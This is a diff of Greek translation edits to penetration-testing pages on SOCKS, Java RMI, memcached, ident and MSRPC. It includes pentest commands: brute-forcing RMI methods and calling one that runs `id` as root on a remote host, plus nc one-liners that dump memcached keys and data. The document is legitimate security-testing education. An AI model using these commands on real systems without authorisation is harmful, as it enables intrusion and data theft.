Το εργαλείο [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) απλοποιεί την υπογραφή πολλών APK με το ίδιο κλειδί και μπορεί να χρησιμοποιηθεί για να επαναϋπογράψετε μια εφαρμογή μετά από αλλαγές που έχουν γίνει σε αυτήν.
|
||||
Το εργαλείο [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) απλοποιεί την υπογραφή πολλαπλών APK με το ίδιο κλειδί και μπορεί να χρησιμοποιηθεί για να επαναυπογράψει μια εφαρμογή μετά από αλλαγές που έχουν γίνει σε αυτήν.
|
||||
|
||||
## Περαιτέρω πληροφορίες
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**SOCKS** είναι ένα πρωτόκολλο που χρησιμοποιείται για τη μεταφορά δεδομένων μεταξύ ενός πελάτη και ενός διακομιστή μέσω ενός proxy. Η πέμπτη έκδοση, **SOCKS5**, προσθέτει μια προαιρετική δυνατότητα αυθεντικοποίησης, επιτρέποντας μόνο σε εξουσιοδοτημένους χρήστες να έχουν πρόσβαση στον διακομιστή. Διαχειρίζεται κυρίως την προώθηση των TCP συνδέσεων και την προώθηση των UDP πακέτων, λειτουργώντας στο επίπεδο συνεδρίας (Επίπεδο 5) του μοντέλου OSI.
|
||||
**SOCKS** είναι ένα πρωτόκολλο που χρησιμοποιείται για τη μεταφορά δεδομένων μεταξύ ενός πελάτη και ενός διακομιστή μέσω ενός proxy. Η πέμπτη έκδοση, **SOCKS5**, προσθέτει μια προαιρετική δυνατότητα αυθεντικοποίησης, επιτρέποντας μόνο σε εξουσιοδοτημένους χρήστες να έχουν πρόσβαση στον διακομιστή. Διαχειρίζεται κυρίως την προώθηση TCP συνδέσεων και την προώθηση UDP πακέτων, λειτουργώντας στο επίπεδο συνεδρίας (Επίπεδο 5) του μοντέλου OSI.
|
||||
|
||||
**Default Port:** 1080
|
||||
|
||||
@ -38,7 +38,7 @@ PORT STATE SERVICE
|
||||
|
||||
### Basic proxychains usage
|
||||
|
||||
Ρυθμίστε τις αλυσίδες proxy για να χρησιμοποιήσετε το socks proxy
|
||||
Ρυθμίστε τις αλυσίδες proxy για να χρησιμοποιήσετε socks proxy
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
_Java Remote Method Invocation_, ή _Java RMI_, είναι ένας αντικειμενοστραφής μηχανισμός _RPC_ που επιτρέπει σε ένα αντικείμενο που βρίσκεται σε μία _Java virtual machine_ να καλεί μεθόδους σε ένα αντικείμενο που βρίσκεται σε άλλη _Java virtual machine_. Αυτό επιτρέπει στους προγραμματιστές να γράφουν κατανεμημένες εφαρμογές χρησιμοποιώντας μια αντικειμενοστραφή παρα paradigma. Μια σύντομη εισαγωγή στο _Java RMI_ από επιθετική προοπτική μπορεί να βρεθεί σε [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||
_Java Remote Method Invocation_, ή _Java RMI_, είναι ένας αντικειμενοστραφής μηχανισμός _RPC_ που επιτρέπει σε ένα αντικείμενο που βρίσκεται σε μία _Java virtual machine_ να καλεί μεθόδους σε ένα αντικείμενο που βρίσκεται σε άλλη _Java virtual machine_. Αυτό επιτρέπει στους προγραμματιστές να γράφουν κατανεμημένες εφαρμογές χρησιμοποιώντας μια αντικειμενοστραφή παραλλαγή. Μια σύντομη εισαγωγή στο _Java RMI_ από επιθετική προοπτική μπορεί να βρεθεί σε [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||
|
||||
**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
@ -27,7 +27,7 @@ PORT STATE SERVICE VERSION
|
||||
|
||||
Η πρώτη πρόκληση επιλύεται από το _RMI registry_, το οποίο είναι βασικά μια υπηρεσία ονοματοδοσίας για το _Java RMI_. Το _RMI registry_ είναι επίσης μια _RMI service_, αλλά η υλοποιημένη διεπαφή και το `ObjID` είναι σταθερά και γνωστά σε όλους τους πελάτες _RMI_. Αυτό επιτρέπει στους πελάτες _RMI_ να καταναλώνουν το _RMI_ registry γνωρίζοντας απλώς την αντίστοιχη θύρα _TCP_.
|
||||
|
||||
Όταν οι προγραμματιστές θέλουν να κάνουν τα _Java objects_ τους διαθέσιμα στο δίκτυο, συνήθως τα δεσμεύουν σε ένα _RMI registry_. Το _registry_ αποθηκεύει όλες τις πληροφορίες που απαιτούνται για να συνδεθεί κανείς με το αντικείμενο (διεύθυνση IP, θύρα ακρόασης, υλοποιημένη κλάση ή διεπαφή και την τιμή `ObjID`) και τις καθιστά διαθέσιμες υπό μια ανθρώπινα αναγνώσιμη ονομασία (το _bound name_). Οι πελάτες που θέλουν να καταναλώσουν την _RMI service_ ζητούν από το _RMI registry_ την αντίστοιχη _bound name_ και το registry επιστρέφει όλες τις απαιτούμενες πληροφορίες για τη σύνδεση. Έτσι, η κατάσταση είναι βασικά η ίδια με μια συνηθισμένη υπηρεσία _DNS_. Η παρακάτω καταχώρηση δείχνει ένα μικρό παράδειγμα:
|
||||
Όταν οι προγραμματιστές θέλουν να κάνουν τα _Java objects_ τους διαθέσιμα στο δίκτυο, συνήθως τα δεσμεύουν σε ένα _RMI registry_. Το _registry_ αποθηκεύει όλες τις πληροφορίες που απαιτούνται για να συνδεθείτε με το αντικείμενο (διεύθυνση IP, θύρα ακρόασης, υλοποιημένη κλάση ή διεπαφή και την τιμή `ObjID`) και τις καθιστά διαθέσιμες υπό ένα ανθρώπινα αναγνώσιμο όνομα (το _bound name_). Οι πελάτες που θέλουν να καταναλώσουν την _RMI service_ ζητούν από το _RMI registry_ το αντίστοιχο _bound name_ και το registry επιστρέφει όλες τις απαιτούμενες πληροφορίες για τη σύνδεση. Έτσι, η κατάσταση είναι βασικά η ίδια με μια συνηθισμένη υπηρεσία _DNS_. Η παρακάτω καταχώρηση δείχνει ένα μικρό παράδειγμα:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -51,7 +51,7 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
Η δεύτερη από τις προαναφερθείσες προκλήσεις επιλύεται από τον _Distributed Garbage Collector_ (_DGC_). Αυτή είναι μια άλλη _RMI service_ με μια γνωστή τιμή `ObjID` και είναι διαθέσιμη σε βασικά κάθε _RMI endpoint_. Όταν ένας _RMI client_ αρχίζει να χρησιμοποιεί μια _RMI service_, στέλνει μια πληροφορία στον _DGC_ ότι το αντίστοιχο _remote object_ είναι σε χρήση. Ο _DGC_ μπορεί στη συνέχεια να παρακολουθεί τον αριθμό αναφορών και είναι σε θέση να καθαρίζει τα μη χρησιμοποιούμενα αντικείμενα.
|
||||
Η δεύτερη από τις προαναφερθείσες προκλήσεις επιλύεται από τον _Distributed Garbage Collector_ (_DGC_). Αυτή είναι μια άλλη _RMI service_ με μια γνωστή τιμή `ObjID` και είναι διαθέσιμη σε βασικά κάθε _RMI endpoint_. Όταν ένας _RMI client_ αρχίζει να χρησιμοποιεί μια _RMI service_, στέλνει μια πληροφορία στον _DGC_ ότι το αντίστοιχο _remote object_ είναι σε χρήση. Ο _DGC_ μπορεί στη συνέχεια να παρακολουθεί τον αριθμό αναφορών και είναι σε θέση να καθαρίζει τα αχρησιμοποίητα αντικείμενα.
|
||||
|
||||
Μαζί με το αποσυρθέν _Activation System_, αυτά είναι τα τρία προεπιλεγμένα συστατικά του _Java RMI_:
|
||||
|
||||
@ -59,7 +59,7 @@ e.printStackTrace();
|
||||
2. Το _Activation System_ (`ObjID = 1`)
|
||||
3. Ο _Distributed Garbage Collector_ (`ObjID = 2`)
|
||||
|
||||
Τα προεπιλεγμένα συστατικά του _Java RMI_ είναι γνωστά επιθετικά διανύσματα εδώ και αρκετό καιρό και υπάρχουν πολλές ευπάθειες σε παλιές εκδόσεις του _Java_. Από την οπτική γωνία ενός επιτιθέμενου, αυτά τα προεπιλεγμένα συστατικά είναι ενδιαφέροντα, επειδή υλοποιούν γνωστές κλάσεις / διεπαφές και είναι εύκολο να αλληλεπιδράσει κανείς μαζί τους. Αυτή η κατάσταση είναι διαφορετική για τις προσαρμοσμένες _RMI services_. Για να καλέσετε μια μέθοδο σε ένα _remote object_, πρέπει να γνωρίζετε την αντίστοιχη υπογραφή μεθόδου εκ των προτέρων. Χωρίς να γνωρίζετε μια υπάρχουσα υπογραφή μεθόδου, δεν υπάρχει τρόπος να επικοινωνήσετε με μια _RMI service_.
|
||||
Τα προεπιλεγμένα συστατικά του _Java RMI_ είναι γνωστά σημεία επίθεσης εδώ και αρκετό καιρό και υπάρχουν πολλές ευπάθειες σε παλιές εκδόσεις του _Java_. Από την οπτική γωνία ενός επιτιθέμενου, αυτά τα προεπιλεγμένα συστατικά είναι ενδιαφέροντα, επειδή υλοποιούν γνωστές κλάσεις / διεπαφές και είναι εύκολο να αλληλεπιδράσει κανείς μαζί τους. Αυτή η κατάσταση είναι διαφορετική για τις προσαρμοσμένες _RMI services_. Για να καλέσετε μια μέθοδο σε ένα _remote object_, πρέπει να γνωρίζετε την αντίστοιχη υπογραφή μεθόδου εκ των προτέρων. Χωρίς να γνωρίζετε μια υπάρχουσα υπογραφή μεθόδου, δεν υπάρχει τρόπος να επικοινωνήσετε με μια _RMI service_.
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
@ -138,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
```
|
||||
## Bruteforcing Remote Methods
|
||||
|
||||
Ακόμα και όταν δεν έχουν εντοπιστεί ευπάθειες κατά τη διάρκεια της αρίθμησης, οι διαθέσιμες _RMI_ υπηρεσίες θα μπορούσαν να εκθέσουν επικίνδυνες λειτουργίες. Επιπλέον, παρά το γεγονός ότι η επικοινωνία _RMI_ με τα προεπιλεγμένα συστατικά _RMI_ προστατεύεται από φίλτρα απο-σειριοποίησης, όταν μιλάμε με προσαρμοσμένες _RMI_ υπηρεσίες, τέτοια φίλτρα συνήθως δεν είναι σε εφαρμογή. Γνωρίζοντας έγκυρες υπογραφές μεθόδων στις _RMI_ υπηρεσίες είναι επομένως πολύτιμο.
|
||||
Ακόμα και όταν δεν έχουν εντοπιστεί ευπάθειες κατά τη διάρκεια της αρίθμησης, οι διαθέσιμες _RMI_ υπηρεσίες θα μπορούσαν να εκθέσουν επικίνδυνες λειτουργίες. Επιπλέον, παρά το γεγονός ότι η επικοινωνία _RMI_ με τα προεπιλεγμένα συστατικά _RMI_ προστατεύεται από φίλτρα απο-serialization, όταν μιλάμε με προσαρμοσμένες _RMI_ υπηρεσίες, τέτοια φίλτρα συνήθως δεν υπάρχουν. Γνωρίζοντας έγκυρες υπογραφές μεθόδων στις _RMI_ υπηρεσίες είναι επομένως πολύτιμο.
|
||||
|
||||
Δυστυχώς, το _Java RMI_ δεν υποστηρίζει την αρίθμηση μεθόδων σε _απομακρυσμένα αντικείμενα_. Παρ' όλα αυτά, είναι δυνατόν να γίνει brute force στις υπογραφές μεθόδων με εργαλεία όπως το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ή το [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
Δυστυχώς, το _Java RMI_ δεν υποστηρίζει την αρίθμηση μεθόδων σε _remote objects_. Παρ' όλα αυτά, είναι δυνατόν να γίνει bruteforce υπογραφών μεθόδων με εργαλεία όπως το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ή το [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
@ -170,7 +170,7 @@ $ rmg guess 172.17.0.2 9010
|
||||
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
||||
[+] --> String login(java.util.HashMap dummy1)
|
||||
```
|
||||
Οι αναγνωρισμένες μέθοδοι μπορούν να καλούνται έτσι:
|
||||
Οι αναγνωρισμένες μέθοδοι μπορούν να καλούνται με αυτόν τον τρόπο:
|
||||
```
|
||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
||||
[+] uid=0(root) gid=0(root) groups=0(root)
|
||||
@ -205,11 +205,11 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Εκτός από την εκτίμηση, θα πρέπει επίσης να αναζητήσετε σε μηχανές αναζήτησης ή _GitHub_ για τη διεπαφή ή ακόμη και την υλοποίηση μιας συναντηθείσας υπηρεσίας _RMI_. Το _bound name_ και το όνομα της υλοποιημένης κλάσης ή διεπαφής μπορεί να είναι χρήσιμα εδώ.
|
||||
Εκτός από την εκτίμηση, θα πρέπει επίσης να αναζητήσετε σε μηχανές αναζήτησης ή _GitHub_ για τη διεπαφή ή ακόμη και την υλοποίηση μιας συναντηθείσας _RMI_ υπηρεσίας. Το _bound name_ και το όνομα της υλοποιημένης κλάσης ή διεπαφής μπορεί να είναι χρήσιμα εδώ.
|
||||
|
||||
## Γνωστές Διεπαφές
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) σημειώνει τις κλάσεις ή τις διεπαφές ως `known` αν είναι καταχωρημένες στη εσωτερική βάση δεδομένων του εργαλείου για γνωστές υπηρεσίες _RMI_. Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε την ενέργεια `known` για να αποκτήσετε περισσότερες πληροφορίες σχετικά με την αντίστοιχη υπηρεσία _RMI_:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) σημειώνει τις κλάσεις ή τις διεπαφές ως `known` αν είναι καταχωρημένες στη εσωτερική βάση δεδομένων του εργαλείου για γνωστές _RMI services_. Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε τη δράση `known` για να αποκτήσετε περισσότερες πληροφορίες σχετικά με την αντίστοιχη _RMI service_:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
@ -272,13 +272,13 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
|
||||
- `port:1099 java`
|
||||
|
||||
## Tools
|
||||
## Εργαλεία
|
||||
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://github.com/BishopFox/rmiscout)
|
||||
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
|
||||
@ -15,9 +15,9 @@
|
||||
PORT STATE SERVICE
|
||||
11211/tcp open unknown
|
||||
```
|
||||
## Enumeration
|
||||
## Αριθμητική
|
||||
|
||||
### Manual
|
||||
### Χειροκίνητη
|
||||
|
||||
Για να εξάγετε όλες τις πληροφορίες που είναι αποθηκευμένες μέσα σε μια μνήμη memcache, πρέπει να:
|
||||
|
||||
@ -25,7 +25,7 @@ PORT STATE SERVICE
|
||||
2. Πάρτε τα **ονόματα κλειδιών** των slabs που ανιχνεύθηκαν προηγουμένως
|
||||
3. Εξάγετε τα **αποθηκευμένα δεδομένα** αποκτώντας τα **ονόματα κλειδιών**
|
||||
|
||||
Θυμηθείτε ότι αυτή η υπηρεσία είναι απλώς μια **cache**, οπότε τα **δεδομένα μπορεί να εμφανίζονται και να εξαφανίζονται**.
|
||||
Θυμηθείτε ότι αυτή η υπηρεσία είναι απλώς μια **cache**, οπότε **τα δεδομένα μπορεί να εμφανίζονται και να εξαφανίζονται**.
|
||||
```bash
|
||||
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
|
||||
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
|
||||
@ -53,23 +53,23 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
|
||||
```
|
||||
## **Εξαγωγή Κλειδιών Memcache**
|
||||
|
||||
Στον τομέα του memcache, ένα πρωτόκολλο που βοηθά στην οργάνωση των δεδομένων κατά κομμάτια, υπάρχουν συγκεκριμένες εντολές για την επιθεώρηση των αποθηκευμένων δεδομένων, αν και με σημαντικούς περιορισμούς:
|
||||
Στον τομέα του memcache, ένα πρωτόκολλο που βοηθά στην οργάνωση των δεδομένων κατά slabs, υπάρχουν συγκεκριμένες εντολές για την επιθεώρηση των αποθηκευμένων δεδομένων, αν και με σημαντικούς περιορισμούς:
|
||||
|
||||
1. Τα κλειδιά μπορούν να εξάγονται μόνο κατά κατηγορία κομματιού, ομαδοποιώντας κλειδιά παρόμοιου μεγέθους περιεχομένου.
|
||||
2. Υπάρχει περιορισμός μίας σελίδας ανά κατηγορία κομματιού, που ισοδυναμεί με 1MB δεδομένων.
|
||||
1. Τα κλειδιά μπορούν να εξάγονται μόνο κατά slab class, ομαδοποιώντας κλειδιά παρόμοιου μεγέθους περιεχομένου.
|
||||
2. Υπάρχει περιορισμός μίας σελίδας ανά slab class, που ισοδυναμεί με 1MB δεδομένων.
|
||||
3. Αυτή η δυνατότητα είναι ανεπίσημη και μπορεί να καταργηθεί οποιαδήποτε στιγμή, όπως συζητείται σε [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
|
||||
|
||||
Ο περιορισμός της δυνατότητας εξαγωγής μόνο 1MB από δυνητικά γιγαμπάτ δεδομένων είναι ιδιαίτερα σημαντικός. Ωστόσο, αυτή η λειτουργικότητα μπορεί να προσφέρει πληροφορίες σχετικά με τα πρότυπα χρήσης κλειδιών, ανάλογα με τις συγκεκριμένες ανάγκες. Για εκείνους που δεν ενδιαφέρονται τόσο για τη μηχανική, μια επίσκεψη στην [tools section](https://lzone.de/cheat-sheet/memcached#tools) αποκαλύπτει εργαλεία για εκτενή εξαγωγή. Εναλλακτικά, η διαδικασία χρήσης telnet για άμεση αλληλεπίδραση με τις ρυθμίσεις memcached περιγράφεται παρακάτω.
|
||||
Ο περιορισμός της εξαγωγής μόνο 1MB από δυνητικά γιγαμπάτ δεδομένων είναι ιδιαίτερα σημαντικός. Ωστόσο, αυτή η λειτουργικότητα μπορεί να προσφέρει πληροφορίες σχετικά με τα πρότυπα χρήσης κλειδιών, ανάλογα με τις συγκεκριμένες ανάγκες. Για εκείνους που δεν ενδιαφέρονται τόσο για τη μηχανική, μια επίσκεψη στην [tools section](https://lzone.de/cheat-sheet/memcached#tools) αποκαλύπτει εργαλεία για εκτενή εξαγωγή. Εναλλακτικά, η διαδικασία χρήσης telnet για άμεση αλληλεπίδραση με τις ρυθμίσεις memcached περιγράφεται παρακάτω.
|
||||
|
||||
### **Πώς Λειτουργεί**
|
||||
|
||||
Η οργάνωση μνήμης του memcache είναι καθοριστική. Η εκκίνηση του memcache με την επιλογή "-vv" αποκαλύπτει τις κατηγορίες κομματιών που δημιουργεί, όπως φαίνεται παρακάτω:
|
||||
Η οργάνωση μνήμης του memcache είναι καθοριστική. Η εκκίνηση του memcache με την επιλογή "-vv" αποκαλύπτει τις slab classes που δημιουργεί, όπως φαίνεται παρακάτω:
|
||||
```bash
|
||||
$ memcached -vv
|
||||
slab class 1: chunk size 96 perslab 10922
|
||||
[...]
|
||||
```
|
||||
Για να εμφανίσετε όλα τα υπάρχοντα slabs, χρησιμοποιείται η παρακάτω εντολή:
|
||||
Για να εμφανίσετε όλα τα υπάρχοντα slabs, χρησιμοποιείται η ακόλουθη εντολή:
|
||||
```bash
|
||||
stats slabs
|
||||
```
|
||||
@ -109,12 +109,12 @@ END
|
||||
|
||||
### **ΕΚΤΥΠΩΣΗ ΚΛΕΙΔΙΩΝ MEMCACHE (VER 1.4.31+)**
|
||||
|
||||
Με την έκδοση memcache 1.4.31 και άνω, εισάγεται μια νέα, ασφαλέστερη μέθοδος για την εκτύπωση κλειδιών σε ένα παραγωγικό περιβάλλον, χρησιμοποιώντας μη αποκλειστική λειτουργία όπως αναφέρεται στις [release notes](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Αυτή η προσέγγιση παράγει εκτενή έξοδο, γι' αυτό συνιστάται η χρήση της εντολής 'nc' για αποδοτικότητα. Παραδείγματα περιλαμβάνουν:
|
||||
Με την έκδοση memcache 1.4.31 και άνω, εισάγεται μια νέα, ασφαλέστερη μέθοδος για την εκτύπωση κλειδιών σε ένα παραγωγικό περιβάλλον, χρησιμοποιώντας μη αποκλειστική λειτουργία όπως αναφέρεται στις [σημειώσεις έκδοσης](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Αυτή η προσέγγιση παράγει εκτενή έξοδο, γι' αυτό συνιστάται η χρήση της εντολής 'nc' για αποδοτικότητα. Παραδείγματα περιλαμβάνουν:
|
||||
```bash
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
|
||||
```
|
||||
### **ΕΡΓΑΛΕΙΑ ΕΚΧΥΛΙΣΗΣ**
|
||||
### **ΕΡΓΑΛΕΙΑ ΕΞΑΓΩΓΗΣ**
|
||||
|
||||
Table [from here](https://lzone.de/blog).
|
||||
|
||||
@ -124,8 +124,8 @@ Table [from here](https://lzone.de/blog).
|
||||
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Εκτυπώνει κλειδιά και τιμές | | |
|
||||
| Ruby | [simple script](https://gist.github.com/1365005) | Εκτυπώνει τα ονόματα κλειδιών. | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Εργαλείο στο CPAN module | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI παρακολούθησης Memcache που επιτρέπει επίσης την εκχύλιση κλειδιών | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Κάνει παγώσει τη διαδικασία memcached!!!** Να είστε προσεκτικοί όταν το χρησιμοποιείτε σε παραγωγή. Ακόμα και αν το χρησιμοποιήσετε μπορείτε να παρακάμψετε τον περιορισμό των 1MB και να εκχυλίσετε **όλα** τα κλειδιά. | | |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI παρακολούθησης Memcache που επιτρέπει επίσης την εξαγωγή κλειδιών | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Κάνει παγώμα της διαδικασίας memcached!!!** Να είστε προσεκτικοί όταν το χρησιμοποιείτε σε παραγωγή. Παρ' όλα αυτά, μπορείτε να παρακάμψετε τον περιορισμό των 1MB και να εξάγετε **όλα** τα κλειδιά. | | |
|
||||
|
||||
## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
@ -133,9 +133,9 @@ Table [from here](https://lzone.de/blog).
|
||||
|
||||
Σημειώστε ότι πριν από το memcached 1.4 δεν μπορείτε να αποθηκεύσετε αντικείμενα μεγαλύτερα από 1MB λόγω του προεπιλεγμένου μέγιστου μεγέθους slab.
|
||||
|
||||
### Ποτέ μην ορίζετε χρονικό όριο > 30 ημέρες! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
### Ποτέ μην ορίζετε χρόνο λήξης > 30 ημέρες! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
|
||||
Εάν προσπαθήσετε να “ορίσετε” ή “προσθέσετε” ένα κλειδί με χρονικό όριο μεγαλύτερο από το επιτρεπόμενο μέγιστο, μπορεί να μην λάβετε αυτό που περιμένετε, επειδή το memcached τότε θεωρεί την τιμή ως χρονική σφραγίδα Unix. Επίσης, αν η χρονική σφραγίδα είναι στο παρελθόν, δεν θα κάνει τίποτα απολύτως. Η εντολή σας θα αποτύχει σιωπηλά.
|
||||
Εάν προσπαθήσετε να “ορίσετε” ή “προσθέσετε” ένα κλειδί με χρόνο λήξης μεγαλύτερο από το επιτρεπόμενο μέγιστο, μπορεί να μην λάβετε αυτό που περιμένετε, επειδή το memcached τότε θεωρεί την τιμή ως χρονική σφραγίδα Unix. Επίσης, εάν η χρονική σφραγίδα είναι στο παρελθόν, δεν θα κάνει τίποτα απολύτως. Η εντολή σας θα αποτύχει σιωπηλά.
|
||||
|
||||
Έτσι, αν θέλετε να χρησιμοποιήσετε τη μέγιστη διάρκεια ζωής, καθορίστε 2592000. Παράδειγμα:
|
||||
```
|
||||
@ -155,7 +155,7 @@ set my_key 0 2592000 1
|
||||
- [yrmcds](https://cybozu.github.io/yrmcds/): Συμβατό με memcached Master-Slave κατάστημα κλειδιών-τιμών
|
||||
- [twemproxy](https://github.com/twitter/twemproxy) (aka nutcracker): proxy με υποστήριξη memcached
|
||||
|
||||
### Φύλλο Συμβουλών Εντολών
|
||||
### Cheat-Sheet Εντολών
|
||||
|
||||
{{#ref}}
|
||||
memcache-commands.md
|
||||
|
||||
@ -19,10 +19,10 @@
|
||||
| replace | Επαναγράφει υπάρχον κλειδί | `replace key 0 60 5` |
|
||||
| append | Προσθέτει δεδομένα σε υπάρχον κλειδί | `append key 0 60 15` |
|
||||
| prepend | Προσθέτει δεδομένα πριν από υπάρχον κλειδί | `prepend key 0 60 15` |
|
||||
| incr | Αυξάνει την αριθμητική τιμή του κλειδιού κατά τον καθορισμένο αριθμό | `incr mykey 2` |
|
||||
| decr | Μειώνει την αριθμητική τιμή του κλειδιού κατά τον καθορισμένο αριθμό | `decr mykey 5` |
|
||||
| incr | Αυξάνει την αριθμητική τιμή του κλειδιού κατά τον δοθέντα αριθμό | `incr mykey 2` |
|
||||
| decr | Μειώνει την αριθμητική τιμή του κλειδιού κατά τον δοθέντα αριθμό | `decr mykey 5` |
|
||||
| delete | Διαγράφει ένα υπάρχον κλειδί | `delete mykey` |
|
||||
| flush_all | Ακυρώνει όλα τα στοιχεία άμεσα | `flush_all` |
|
||||
| flush_all | Ακυρώνει όλα τα στοιχεία αμέσως | `flush_all` |
|
||||
| flush_all | Ακυρώνει όλα τα στοιχεία σε n δευτερόλεπτα | `flush_all 900` |
|
||||
| stats | Εκτυπώνει γενικά στατιστικά | `stats` |
|
||||
| | Εκτυπώνει στατιστικά μνήμης | `stats slabs` |
|
||||
@ -44,7 +44,7 @@ stats
|
||||
```
|
||||
Θα λάβετε μια λίστα που παρέχει τον αριθμό των συνδέσεων, των byte εισόδου/εξόδου και πολλά άλλα.
|
||||
|
||||
Παράδειγμα Έξοδος:
|
||||
Παράδειγμα εξόδου:
|
||||
```
|
||||
STAT pid 14868
|
||||
STAT uptime 175931
|
||||
@ -115,6 +115,6 @@ STAT items:2:age 1405
|
||||
[...]
|
||||
END
|
||||
```
|
||||
Αυτό τουλάχιστον βοηθά να δούμε αν χρησιμοποιούνται κλειδιά. Για να εξάγετε τα ονόματα των κλειδιών από ένα σενάριο PHP που ήδη κάνει την πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον κώδικα PHP από [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
Αυτό τουλάχιστον βοηθά να δούμε αν χρησιμοποιούνται κλειδιά. Για να εξάγετε τα ονόματα των κλειδιών από ένα PHP script που ήδη έχει πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον PHP κώδικα από [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -13,15 +13,15 @@
|
||||
PORT STATE SERVICE
|
||||
113/tcp open ident
|
||||
```
|
||||
## **Καταμέτρηση**
|
||||
## **Αναγνώριση**
|
||||
|
||||
### **Χειροκίνητα - Λάβετε χρήστη/Καθορίστε την υπηρεσία**
|
||||
|
||||
Αν μια μηχανή εκτελεί την υπηρεσία ident και samba (445) και είστε συνδεδεμένοι στο samba χρησιμοποιώντας την θύρα 43218. Μπορείτε να δείτε ποιος χρήστης εκτελεί την υπηρεσία samba κάνοντας:
|
||||
Εάν μια μηχανή εκτελεί την υπηρεσία ident και samba (445) και είστε συνδεδεμένοι στο samba χρησιμοποιώντας την θύρα 43218. Μπορείτε να δείτε ποιος χρήστης εκτελεί την υπηρεσία samba κάνοντας:
|
||||
|
||||
.png>)
|
||||
|
||||
Αν απλά πατήσετε enter όταν συνδεθείτε στην υπηρεσία:
|
||||
Εάν απλώς πατήσετε enter όταν συνδεθείτε στην υπηρεσία:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
## **Αναγνώριση Εκτεθειμένων Υπηρεσιών RPC**
|
||||
|
||||
Η έκθεση υπηρεσιών RPC μέσω TCP, UDP, HTTP και SMB μπορεί να προσδιοριστεί με την αναζήτηση της υπηρεσίας εντοπισμού RPC και των μεμονωμένων σημείων. Εργαλεία όπως το rpcdump διευκολύνουν την αναγνώριση μοναδικών υπηρεσιών RPC, που υποδεικνύονται από τις τιμές **IFID**, αποκαλύπτοντας λεπτομέρειες υπηρεσίας και δεσμεύσεις επικοινωνίας:
|
||||
